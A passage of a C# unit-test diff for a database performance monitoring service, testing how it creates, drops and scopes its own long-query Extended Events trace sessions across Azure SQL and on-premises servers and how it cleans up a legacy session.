+        var warning = Microsoft.Extensions.Logging.LogLevel.Warning;
+
+        rig.ListFailure = new InvalidOperationException("master is not readable.");
+        await rig.ReconcileAsync(enabled: true);
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(1, Logged(rig, warning, WorkerLine(rig)));
+        Assert.True(rig.State.LongQueryTraceCreateWarned);
+
+        /* What the connect block does to the long-query state (pinned below). */
+        rig.State.LongQueryTraceApplied = null;
+        rig.State.LongQueryTraceFault = null;
+        rig.State.LongQueryTracePartialNote = null;
+        rig.State.LongQueryTraceAppliedKey = null;
+        rig.State.LongQueryTraceAppliedAtUtc = null;
+        rig.State.LongQueryTraceDropRetry.Reset();
+        rig.State.LongQueryTraceCreateWarned = false;
+
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(2, Logged(rig, warning, WorkerLine(rig)));
+    }
+
+    [Fact]
+    public void TheConnectBlock_ClearsTheCreateFailureWarned_WithTheRestOfTheLongQueryState()
+    {
+        var source = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+
+        var latchReset = source.IndexOf("server.LongQueryTraceApplied = null;", StringComparison.Ordinal);
+        Assert.True(latchReset > 0);
+        var slice = source.Substring(latchReset, 1600);
+        Assert.Contains("server.LongQueryTraceDropRetry.Reset();", slice, StringComparison.Ordinal);
+        Assert.Contains("server.LongQueryTraceCreateWarned = false;", slice, StringComparison.Ordinal);
+    }
+
+    /* ── M2: the trace follows the monitored set ── */
+
+    [Fact]
+    public async Task On_AScopeChange_DropsTheSessionFromTheDatabaseNowOutOfScope()
+    {
+        var rig = BuildRig();
+
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Created);
+
+        rig.Scope = new List<string> { "alpha", "beta" };
+        rig.Calls.Clear();
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(new[] { "gamma" }, rig.Dropped);
+        Assert.DoesNotContain("gamma", rig.Created);
+    }
+
+    [Fact]
+    public async Task Off_DropsTheSessionEverywhere_ExcludedAndOutOfScopeDatabasesIncluded()
+    {
+        var rig = BuildRig("gamma");
+        rig.Scope = new List<string> { "alpha" };
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+    }
+
+    /* ── L3: a database monitored as its own server belongs to that registration ── */
+
+    [Fact]
+    public async Task Off_LeavesTheSessionOfADatabaseMonitoredAsItsOwnServer()
+    {
+        var rig = BuildRig();
+        rig.Owned = new List<string> { "beta" };
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task On_DoesNotCreateTheSessionInADatabaseMonitoredAsItsOwnServer()
+    {
+        var rig = BuildRig();
+        rig.Owned = new List<string> { "beta" };
+
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.Created);
+        Assert.DoesNotContain("beta", rig.Dropped);
+    }
+
+    /// <summary>
+    /// The trace ON leaves a database monitored as its own server even when this registration's scope leaves it
+    /// out, which would otherwise put it in the drop outside the set. Only the plan's own-server rule keeps it: the
+    /// other registration's trace is off, so no other registration keeps the session there.
+    /// </summary>
+    [Fact]
+    public async Task On_ADatabaseMonitoredAsItsOwnServer_AndScopedOut_IsNotDropped()
+    {
+        var rig = BuildRig();
+        rig.Owned = new List<string> { "beta" };
+        rig.ServerOwned = new List<string> { "beta" };
+        rig.Scope = new List<string> { "alpha", "gamma" };
+        rig.Others.Add(OneDatabase(DatabaseServerId, "beta", traceOn: false));
+
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.DoesNotContain("beta", rig.Dropped);
+    }
+
+    /* ── M1: a drop leaves a database where another registration of the server keeps the session ── */
+
+    [Fact]
+    public async Task Off_LeavesTheDatabaseOfAReadOnlyRegistration_WhileItsTraceIsOn()
+    {
+        var rig = BuildRig();
+        rig.Others.Add(OneDatabase(DatabaseServerId, "beta", traceOn: true));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task ReadOnlyRegistration_Off_LeavesItsDatabase_WhileTheLogicalServersTraceIsOnAndCoversIt()
+    {
+        var rig = BuildDatabaseRig("beta");
+        rig.Others.Add(LogicalServer(ServerId, traceOn: true));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Empty(rig.Dropped);
+        Assert.False(rig.State.LongQueryTraceApplied);
+    }
+
+    [Fact]
+    public async Task ReadOnlyRegistration_Off_DropsItsDatabase_WhenTheLogicalServerExcludesIt()
+    {
+        var rig = BuildDatabaseRig("beta");
+        rig.Others.Add(LogicalServer(ServerId, traceOn: true, "beta"));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "beta" }, rig.Dropped);
+    }
+
+    /// <summary>
+    /// A registration of one database without read-only intent is monitored as its own server, so the logical
+    /// server's registration never creates the session there and does not keep it. Turning that database's own
+    /// trace off still drops it. The list comes from the worker's own adapter, which counts the registration itself.
+    /// </summary>
+    [Fact]
+    public async Task DatabaseRegistration_Off_DropsItsDatabase_WhileTheLogicalServerLeavesItToIt()
+    {
+        var rig = BuildDatabaseRig("beta", readOnlyIntent: false);
+        rig.Others.Add(LogicalServer(ServerId, traceOn: true));
+        rig.ServerOwned = DarlingWorker.LongQueryTraceServerSeparatelyMonitored(
+            Host,
+            new[]
+            {
+                new MonitoredServer { Name = "lqtrace", Host = Host },
+                rig.Config,
+            }).ToList();
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Equal(new[] { "beta" }, rig.ServerOwned);
+        Assert.Equal(new[] { "beta" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task Off_LeavesTheDatabasesOfASecondLogicalServerRegistration_WhileItsTraceIsOn()
+    {
+        var rig = BuildRig();
+        rig.Others.Add(LogicalServer(8002, traceOn: true));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Empty(rig.Dropped);
+    }
+
+    [Fact]
+    public async Task On_TheOutsideDrop_LeavesAnExcludedDatabase_ThatASecondRegistrationsTraceCovers()
+    {
+        var rig = BuildRig("gamma");
+        rig.Others.Add(LogicalServer(8002, traceOn: true));
+
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(new[] { "alpha", "beta" }, rig.Created);
+        Assert.Empty(rig.Dropped);
+    }
+
+    [Fact]
+    public async Task On_TheOutsideDrop_StillDropsADatabase_ThatBothLogicalServerRegistrationsExclude()
+    {
+        var rig = BuildRig("gamma");
+        rig.Others.Add(LogicalServer(8002, traceOn: true, "gamma"));
+
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(new[] { "gamma" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task Off_OnceTheOtherRegistrationTurnsItsTraceOff_TheNextPassDrops()
+    {
+        var rig = BuildRig();
+        rig.Others.Add(OneDatabase(DatabaseServerId, "beta", traceOn: true));
+
+        await rig.ReconcileAsync(enabled: false);
+        Assert.DoesNotContain("beta", rig.Dropped);
+
+        /* Nothing changed: the reconcile is done and does not run again. */
+        rig.Calls.Clear();
+        await rig.ReconcileAsync(enabled: false);
+        Assert.Empty(rig.Calls);
+
+        rig.Others[0] = rig.Others[0] with { TraceOn = false };
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Contains("beta", rig.Dropped);
+    }
+
+    /// <summary>
+    /// The worker's adapter: each live registration of the same logical server, with its trace setting and its
+    /// trace scope, where an empty scope means every database.
+    /// </summary>
+    [Fact]
+    public void TheRegistrations_AreTheLiveOnesOfTheSameLogicalServer_WithTheirTraceSettingAndScope()
+    {
+        var master = new MonitoredServer { Name = "lqtrace", Host = Host, ExcludedDatabases = new List<string> { "gamma" } };
+        var replica = new MonitoredServer { Name = "lqtrace-ro", Host = " LQTRACE.database.windows.net ", Database = "beta", ReadOnlyIntent = true };
+        var elsewhere = new MonitoredServer { Name = "other", Host = "other.database.windows.net", Database = "beta" };
+
+        var registrations = DarlingWorker.LongQueryTraceRegistrations(
+            Host,
+            new[] { master, replica, elsewhere },
+            traceOn: serverId => serverId == replica.ServerId,
+            databaseScope: serverId => serverId == master.ServerId ? new[] { "alpha" } : Array.Empty<string>());
+
+        Assert.Equal(2, registrations.Count);
+
+        var first = registrations[0];
+        Assert.Equal(master.ServerId.ToString(System.Globalization.CultureInfo.InvariantCulture), first.Id);
+        Assert.False(first.TraceOn);
+        Assert.Equal(new[] { "gamma" }, first.ExcludedDatabases);
+        Assert.Equal(new[] { "alpha" }, first.DatabaseScope);
+
+        var second = registrations[1];
+        Assert.Equal("beta", second.Database);
+        Assert.True(second.TraceOn);
+        Assert.True(second.Enabled);
+        Assert.Null(second.DatabaseScope);
+    }
+
+    /// <summary>
+    /// The state key reads one way: a scope of alpha and beta with gamma excluded is not the same settings as a scope
+    /// of alpha with beta and gamma excluded, and the second leaves beta out of the monitored set.
+    /// </summary>
+    [Fact]
+    public void TheStateKey_TellsWhereTheScopeEndsAndTheExclusionsBegin()
+    {
+        var none = Array.Empty<string>();
+
+        Assert.NotEqual(
+            LongQueryTraceDatabases.StateKey(true, new[] { "alpha", "beta" }, new[] { "gamma" }, none, none),
+            LongQueryTraceDatabases.StateKey(true, new[] { "alpha" }, new[] { "beta", "gamma" }, none, none));
+    }
+
+    /* ── the read follows the lifecycle; the always-on sessions do not change ── */
+
+    /// <summary>
+    /// The logical server's long-query read skips the databases monitored as their own servers, the same ones its
+    /// lifecycle leaves alone, and the worker hands the runner that list from the same live store set the alert sweep
+    /// uses. Pinned in the source: the read loop needs a live connection per database.
+    /// </summary>
+    [Fact]
+    public void TheLongQueryRead_SkipsTheDatabasesMonitoredAsTheirOwnServers()
+    {
+        var runner = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs");
+        var list = runner.IndexOf(": await GetAzureDatabaseListAsync(server, databaseScope, cancellationToken);", StringComparison.Ordinal);
+        var skip = runner.IndexOf("if (definition.SkipsSeparatelyMonitoredDatabases)", StringComparison.Ordinal);
+        Assert.True(list > 0 && skip > list, "the per-database read filters its list after listing it");
+
+        var worker = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        Assert.Contains("separatelyMonitoredDatabases: runtime => AzureMasterScope.SeparatelyMonitoredDatabases(", worker, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The read leaves out master too, by the trace's own rule (<see cref="LongQueryTraceDatabases.CanHoldSession"/>), and
+    /// counts the databases it lists without master, so a logical server whose user databases are all monitored
+    /// separately is not left reading master alone, and a list of master alone is not blamed on them (#4961). The
+    /// behaviour is driven in <see cref="EmptyDatabaseListNoteLiveTests"/>; pinned here in the source as well, so the
+    /// rule stays the trace's own and not a second copy in the runner.
+    /// </summary>
+    [Fact]
+    public void TheLongQueryRead_AlsoSkipsMaster_ByTheTracesOwnRule()
+    {
+        var runner = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs");
+        var skip = runner.IndexOf("if (definition.SkipsSeparatelyMonitoredDatabases)", StringComparison.Ordinal);
+        var note = runner.IndexOf("EmptyDatabaseListNote.For(", skip, StringComparison.Ordinal);
+        Assert.True(skip > 0 && note > skip, "the skip comes before the note's inputs");
+
+        var block = runner[skip..note];
+        var master = block.IndexOf("databases = databases.FindAll(LongQueryTraceDatabases.CanHoldSession);", StringComparison.Ordinal);
+        var counted = block.IndexOf("listedDatabaseCount = databases.Count;", StringComparison.Ordinal);
+        var separately = block.IndexOf("databases = AzureSweepScope.WithoutSeparatelyMonitored(databases, SeparatelyMonitoredDatabasesFor(server));", StringComparison.Ordinal);
+        Assert.True(master > 0 && counted > master && separately > counted,
+            "master leaves the list, then the list is counted, then the separately monitored databases leave");
+        Assert.DoesNotContain("\"master\"", block, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("master", false)]
+    [InlineData("MASTER", false)]
+    [InlineData("alpha", true)]
+    [InlineData("masters", true)]
+    public void TheTrace_CanHoldASessionInEveryDatabaseButMaster(string database, bool expected)
+    {
+        Assert.Equal(expected, LongQueryTraceDatabases.CanHoldSession(database));
+    }
+
+    [Fact]
+    public void ThePlan_CreatesTheSessionWhereTheReadReads_NeverInMaster()
+    {
+        var listed = new[] { "master", "alpha", "zeta" };
+
+        var plan = LongQueryTraceDatabases.Plan(
+            enabled: true, listed, listed, Array.Empty<string>(), Array.Empty<string>());
+
+        Assert.Equal(listed.Where(LongQueryTraceDatabases.CanHoldSession), plan.Create);
+        Assert.DoesNotContain("master", plan.Create, StringComparer.OrdinalIgnoreCase);
+    }
+
+    /// <summary>
+    /// The sweep hands the reconcile the other registrations and the server's own list of separately monitored
+    /// databases from the live registry, through the two adapters the tests above drive. The server's list is the
+    /// logical server's view for every registration, so it is not the runner's per-registration list, which is empty
+    /// for a registration that names a database. Pinned in the source: the sweep needs a live registry and store.
+    /// </summary>
+    [Fact]
+    public void TheSweep_PassesTheRegistrationsAndTheServersOwnList_FromTheLiveRegistry()
+    {
+        var worker = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var sweep = worker.IndexOf("private async Task ReconcileLongQueryTraceAsync(ServerLoopState server, DarlingCollectorRunner runner, CancellationToken cancellationToken)", StringComparison.Ordinal);
+        var end = worker.IndexOf("await ReconcileLongQueryTraceAsync(server, runner, enabled, registrations, serverSeparatelyMonitored, DateTime.UtcNow, _logger,", sweep, StringComparison.Ordinal);
+        Assert.True(sweep > 0 && end > sweep, "the sweep's reconcile passes the registrations and the server's list");
+
+        var body = worker[sweep..end];
+        Assert.Contains("var live = _registryState.Read()?.Servers;", body, StringComparison.Ordinal);
+        Assert.Contains("registrations = LongQueryTraceRegistrations(", body, StringComparison.Ordinal);
+        Assert.Contains("serverSeparatelyMonitored = LongQueryTraceServerSeparatelyMonitored(server.Runtime.Config.Host, live);", body, StringComparison.Ordinal);
+        Assert.Contains("otherId => runner.DatabaseScopeFor(LongQueryCompletionsCollector.Instance.Name, otherId)", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// Guard, not RED first: the always-on deadlock and blocked-process sessions keep their inventory lifecycle. Their
+    /// ensure still lists every inventoried database with no database scope, so a scope or ownership change that moves
+    /// the long-query trace does not move them.
+    /// </summary>
+    [Fact]
+    public void TheAlwaysOnSessions_StillFollowTheInventory()
+    {
+        var source = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingXeSessions.cs");
+        var ensure = source.IndexOf("private static async Task EnsureDatabaseScopedAsync(", StringComparison.Ordinal);
+        Assert.True(ensure > 0, "the always-on database-scoped ensure is gone");
+        var body = source[ensure..source.IndexOf("\n    }\n", ensure, StringComparison.Ordinal)];
+
+        /* #4961: a test replaces the listing, so the read of the server is the second arm of a conditional. */
+        Assert.Contains(": await runner.GetAzureDatabaseListAsync(server, databaseScope: null, cancellationToken);", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("SeparatelyMonitored", body, StringComparison.Ordinal);
+    }
+
+    /* ── #4961: the session is this install's own, named from its id ── */
+
+    [Fact]
+    public async Task Azure_EveryPass_NamesOnlyThisInstallsSession()
+    {
+        /* "gamma" is excluded and refuses the drop outside the monitored set until the cap gives up: the full pass, its
+           retries, the attempt after the cap and the hourly create all run, then the trace goes off. */
+        var rig = BuildRig("gamma");
+        rig.Refuse.Add("gamma");
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: true);
+        }
+
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        rig.Refuse.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Contains(rig.Calls, c => c.Create);
+        Assert.Contains(rig.Calls, c => !c.Create);
+        Assert.Equal(rig.Calls.Count, rig.Names.Count);
+        Assert.All(rig.Names, name => Assert.Equal(OwnSession, name));
+        Assert.DoesNotContain(rig.Names, name => name == LongQueryCompletionsCollector.LegacyXeSessionName);
+
+        /* The legacy session is dropped once in each listed database but master, by its own name, and never again. */
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.LegacyCalls);
+        Assert.All(rig.LegacyNames, name => Assert.Equal(LongQueryCompletionsCollector.LegacyXeSessionName, name));
+    }
+
+    [Fact]
+    public async Task OnPrem_TheFullAndTheHourlyPass_AndTheDrop_NameThisInstallsSession()
+    {
+        var rig = BuildOnPremRig();
+
+        await rig.ReconcileAsync(enabled: true);
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(2, rig.Calls.Count(c => c.Create));
+
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Single(rig.Calls, c => !c.Create);
+        Assert.Equal(3, rig.Names.Count);
+        Assert.All(rig.Names, name => Assert.Equal(OwnSession, name));
+
+        /* The legacy session is dropped once on the server, by its own name, and the hourly pass does not touch it. */
+        Assert.Equal(new[] { TheServer }, rig.LegacyCalls);
+        Assert.All(rig.LegacyNames, name => Assert.Equal(LongQueryCompletionsCollector.LegacyXeSessionName, name));
+    }
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task NoInstallId_NothingIsCreated_AndTheRunRecordsWhy(bool azureSqlDatabase)
+    {
+        var rig = BuildRig(
+            new MonitoredServer { Name = "lqtrace-noid", Host = azureSqlDatabase ? Host : "lqtrace-sql" },
+            ServerId, azureSqlDatabase, installId: null);
+
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Empty(rig.Calls);
+        Assert.Empty(rig.Names);
+        Assert.Null(rig.State.LongQueryTraceApplied);
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+        Assert.Contains("no id", rig.State.LongQueryTraceFault, StringComparison.Ordinal);
+
+        /* Off: there is no session of this install's to drop, and the fault is cleared. */
+        await rig.ReconcileAsync(enabled: false);
+
+        Assert.Empty(rig.Calls);
+        Assert.Null(rig.State.LongQueryTraceFault);
+    }
+
+    [Fact]
+    public void TheEnsures_StartASessionTheyFindStopped_ByThisInstallsName_AndNothingNamesTheLegacySession()
+    {
+        var source = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingXeSessions.cs");
+
+        /* On-prem: the existence check also reports whether it runs, and a stopped one is started by name. */
+        Assert.Contains("is_running = CASE WHEN dxs.name IS NOT NULL THEN 1 ELSE 0 END", source, StringComparison.Ordinal);
+        Assert.Contains("isRunning == 0", source, StringComparison.Ordinal);
+        Assert.Contains("BuildStartSessionSql(sessionName, databaseScoped: false)", source, StringComparison.Ordinal);
+
+        /* Azure SQL Database: a session that exists and does not run is started by name. */
+        Assert.Contains("FROM sys.dm_xe_database_sessions AS xes", source, StringComparison.Ordinal);
+        Assert.Contains("ALTER EVENT SESSION [{sessionName}] ON DATABASE STATE = START;", source, StringComparison.Ordinal);
+
+        Assert.DoesNotContain("LegacyXeSessionName", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("LongQueryCompletionsCollector.XeSessionName", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void OnlyThePerInstallDdlStartsOff_TheDeadlockAndBlockedProcessDdlStaysOn()
+    {
+        var source = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingXeSessions.cs");
+
+        /* The two server-scoped always-on session statements (deadlock and blocked process) are unchanged. The two Azure ones are
+           made by the shared builder since #4961, which keeps the shared sessions on and starts only an own fallback off. */
+        Assert.Equal(2, source.Split("STARTUP_STATE = ON", StringSplitOptions.None).Length - 1);
+        foreach (var kind in new[] { AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeSessionKind.BlockedProcess })
+        {
+            Assert.Contains("STARTUP_STATE = ON", AlwaysOnXeSessions.BuildAzureCreateSql(kind, AlwaysOnXeSessions.SharedNameFor(kind)), StringComparison.Ordinal);
+        }
+        Assert.DoesNotContain("STARTUP_STATE = OFF", source, StringComparison.Ordinal);
+
+        var sql = LongQueryCompletionsCollector.BuildCreateSessionSql(OwnSession, databaseScoped: false, 2_000_000);
+        Assert.Contains("STARTUP_STATE = OFF", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("STARTUP_STATE = ON", sql, StringComparison.Ordinal);
+    }
+
+    /* ── #4961: the legacy session is dropped once per registration and database, then recorded ── */
+
+    private static readonly string LegacyName = LongQueryCompletionsCollector.LegacyXeSessionName;
+
+    private static readonly string[] ThreeDatabases = { "alpha", "beta", "gamma" };
+
+    /* The one Information line that names a legacy session an older install created again. */
+    private static int Notices(Rig rig) =>
+        rig.Logger.Entries.Count(e => e.Level == LogLevel.Information && e.Message.Contains(LegacyName, StringComparison.Ordinal));
+
+    [Fact]
+    public async Task Legacy_Azure_IsDroppedOncePerDatabase_RecordedAfterTheDrop_AndNeverDroppedAgain()
+    {
+        var rig = BuildRig();
+        rig.LegacySessions.UnionWith(ThreeDatabases);
+
+        await rig.ReconcileAsync(enabled: true);
+
+        /* Each listed database but master, once, and the session is gone. */
+        Assert.Equal(ThreeDatabases, rig.LegacyCalls);
+        Assert.Empty(rig.LegacySessions);
+        foreach (var database in ThreeDatabases)
+        {
+            Assert.True(rig.Records.Has(ServerId, database), database);
+            var value = rig.Records.Rows[(ServerId, LegacyLongQuerySession.StateKey(database))];
+            Assert.True(DateTime.TryParse(value, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind, out _), value);
+        }
+
+        Assert.False(rig.Records.Has(ServerId, "master"));
+        Assert.Equal(ThreeDatabases.Length, rig.Records.Rows.Count);
+
+        /* A reconnect, the trace turned off and on again: each is a full pass, and none drops it again. */
+        rig.Reconnect();
+        await rig.ReconcileAsync(enabled: true);
+        await rig.ReconcileAsync(enabled: false);
+        rig.Clock += TimeSpan.FromMinutes(1);
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Equal(ThreeDatabases, rig.LegacyCalls);
+    }
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task Legacy_OnPrem_IsDroppedOnceOnTheServer_WhetherTheTraceIsOnOrOff_BeforeThePerInstallWork(bool enabled)
+    {
+        var rig = BuildOnPremRig();
+        rig.LegacySessions.Add(TheServer);
+
+        await rig.ReconcileAsync(enabled);
+
+        Assert.Equal(new[] { TheServer }, rig.LegacyCalls);
+        Assert.Equal(new[] { "legacy:", enabled ? "create:" : "drop:" }, rig.Events);
+
+        /* The server scope's database part is empty, and the value is the time of the drop. */
+        var key = Assert.Single(rig.Records.Rows.Keys);
+        Assert.Equal((ServerId, "legacy_session_dropped:"), key);
+
+        rig.Reconnect();
+        await rig.ReconcileAsync(!enabled);
+        await rig.ReconcileAsync(enabled);
+
+        Assert.Single(rig.LegacyCalls);
+    }
+
+    [Fact]
+    public async Task Legacy_ACrashBetweenTheDropAndTheRecord_CostsOneMoreDrop_ThenIsRecorded()
+    {
+        var rig = BuildRig();
+        rig.LegacySessions.UnionWith(ThreeDatabases);
+        rig.Records.WriteFailure = new InvalidOperationException("The store went away.");
+
+        await rig.ReconcileAsync(enabled: true);
+
+        /* The drops ran and the record did not, so the pass is not done and nothing is remembered. */
+        Assert.Equal(ThreeDatabases, rig.LegacyCalls);
+        Assert.Empty(rig.Records.Rows);
+        Assert.Null(rig.State.LongQueryTraceApplied);
+
+        /* The next sweep drops each one more time and records it. After that nothing drops it again. */
+        rig.Records.WriteFailure = null;
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(ThreeDatabases.Length * 2, rig.LegacyCalls.Count);
+        Assert.True(rig.State.LongQueryTraceApplied);
+
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        rig.Reconnect();
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(ThreeDatabases.Length * 2, rig.LegacyCalls.Count);
+    }
+
+    [Fact]
+    public async Task Legacy_TheRecordSurvivesAServiceRestart_AndAReconnect()
+    {
+        var rig = BuildRig();
+        rig.LegacySessions.UnionWith(ThreeDatabases);
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(ThreeDatabases, rig.LegacyCalls);
+
+        /* A service restart: a new runner that has only the record to go on. */
+        var restarted = Restart(rig);
+        restarted.LegacySessions.UnionWith(ThreeDatabases);
+        await restarted.ReconcileAsync(enabled: true);
+        Assert.Empty(restarted.LegacyCalls);
+
+        restarted.Reconnect();
+        await restarted.ReconcileAsync(enabled: true);
+        Assert.Empty(restarted.LegacyCalls);
+        Assert.Equal(ThreeDatabases.Length, restarted.LegacySessions.Count);
+    }
+
+    [Fact]
+    public async Task Legacy_ASessionAnOlderInstallCreatesAgain_IsNotDropped_AndOneInformationLineNamesItPerConnect()
+    {
+        var rig = BuildRig();
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Equal(ThreeDatabases, rig.LegacyCalls);
+        Assert.Equal(0, Notices(rig));
+
+        /* An older install creates it again. The hourly create pass finds it, says so once, and leaves it alone. */
+        rig.LegacySessions.Add("alpha");
+        rig.LegacyCalls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Empty(rig.LegacyCalls);
+        Assert.Contains("alpha", rig.LegacySessions);
+        var notice = Assert.Single(rig.Logger.Entries, e => e.Level == LogLevel.Information && e.Message.Contains(LegacyName, StringComparison.Ordinal));
+        Assert.Contains("older Lite or Darling created it", notice.Message, StringComparison.Ordinal);
+        Assert.Contains("--drop-xe-sessions", notice.Message, StringComparison.Ordinal);
+
+        /* A reconnect is a new connect: the full pass leaves it alone and says so again. */
+        rig.Reconnect();
+        await rig.ReconcileAsync(enabled: true);
+        Assert.Empty(rig.LegacyCalls);
+        Assert.Equal(2, Notices(rig));
+        Assert.Contains("alpha", rig.LegacySessions);
+    }
+
+    [Fact]
+    public async Task Legacy_TheAttemptAfterTheCap_LeavesASessionAnOlderInstallCreatedAgainAlone()
+    {
+        /* gamma is excluded and refuses the drop outside the monitored set, until the cap gives up on it. */
+        var rig = BuildRig("gamma");
+        rig.Refuse.Add("gamma");
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: true);
+        }
+
+        Assert.Equal(ThreeDatabases, rig.LegacyCalls);
+        Assert.True(rig.State.LongQueryTraceDropRetry.NextAttemptUtc is not null);
+
+        rig.LegacySessions.Add("beta");
+        rig.LegacyCalls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync(enabled: true);
+
+        Assert.Empty(rig.LegacyCalls);
+        Assert.Contains("beta", rig.LegacySessions);
+        Assert.Equal(1, Notices(rig));
+    }
+
+    [Fact]
+    public async Task Legacy_TheDrop_NamesOnlyTheLegacySession_NeverAnotherInstallsNorTheDeadlockOrBlockedProcessSessions()
+    {
+        var azure = BuildRig("gamma");
+        azure.LegacySessions.UnionWith(ThreeDatabases);
+        await azure.ReconcileAsync(enabled: true);
+        azure.Clock += LongQueryTraceDatabases.RetryInterval;
+        await azure.ReconcileAsync(enabled: true);
+        await azure.ReconcileAsync(enabled: false);
+
+        var onPrem = BuildOnPremRig();
+        onPrem.LegacySessions.Add(TheServer);
+        await onPrem.ReconcileAsync(enabled: false);
+
+        foreach (var rig in new[] { azure, onPrem })
+        {
+            Assert.NotEmpty(rig.LegacyNames);
+            Assert.All(rig.LegacyNames, name => Assert.Equal(LegacyName, name));
+            Assert.NotEmpty(rig.Names);
+            Assert.All(rig.Names, name => Assert.Equal(OwnSession, name));
+        }
+
+        /* The statement builder takes the legacy name and a per-install one, and nothing else. */
+        foreach (var other in new[] { DeadlocksCollector.XeSessionName, BlockedProcessReportCollector.XeSessionName })
+        {
+            Assert.NotEqual(LegacyName, other);
+            Assert.Throws<ArgumentException>(() => LongQueryCompletionsCollector.BuildDropSessionSql(other, databaseScoped: false));
+            Assert.Throws<ArgumentException>(() => LongQueryCompletionsCollector.BuildDropSessionSql(other, databaseScoped: true));
+        }
+    }
+
+    [Fact]
+    public async Task Legacy_AFailedDrop_IsNotRecorded_AndRetriesOnTheCap_ThenOnceAnHourAtDebug()
+    {
+        var rig = BuildRig();
+        rig.LegacySessions.UnionWith(ThreeDatabases);
+        rig.RefuseLegacy.Add("beta");
+
+        for (var pass = 1; pass < LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync(enabled: true);
+            Assert.Null(rig.State.LongQueryTraceApplied);
+        }
+
+        /* The first pass tried every database. The passes after it retried beta alone, which is the one not recorded. */
+        Assert.Equal(new[] { "alpha", "beta", "gamma", "beta", "beta", "beta" }, rig.LegacyCalls);
+        Assert.True(rig.Records.Has(ServerId, "alpha"));
+        Assert.True(rig.Records.Has(ServerId, "gamma"));
+        Assert.False(rig.Records.Has(ServerId, "beta"));
+
+        /* The failed legacy drop did not stop the per-install session from being created there. */
+        Assert.Contains("beta", rig.Sessions);
+
+        await rig.ReconcileAsync(enabled: true);
+        Assert.True(rig.State.LongQueryTraceApplied);
+        var giveUp = Assert.Single(rig.Logger.Entries, e => e.Message.Contains("Stopped retrying", StringComparison.Ordinal));
+        Assert.Equal(LogLevel.Warning, giveUp.Level);
+        Assert.Contains("beta", giveUp.Message, StringComparison.Ordinal);
+
+        /* Done for now: the sweeps within the hour try nothing. An hour later, one attempt, logged at Debug. */
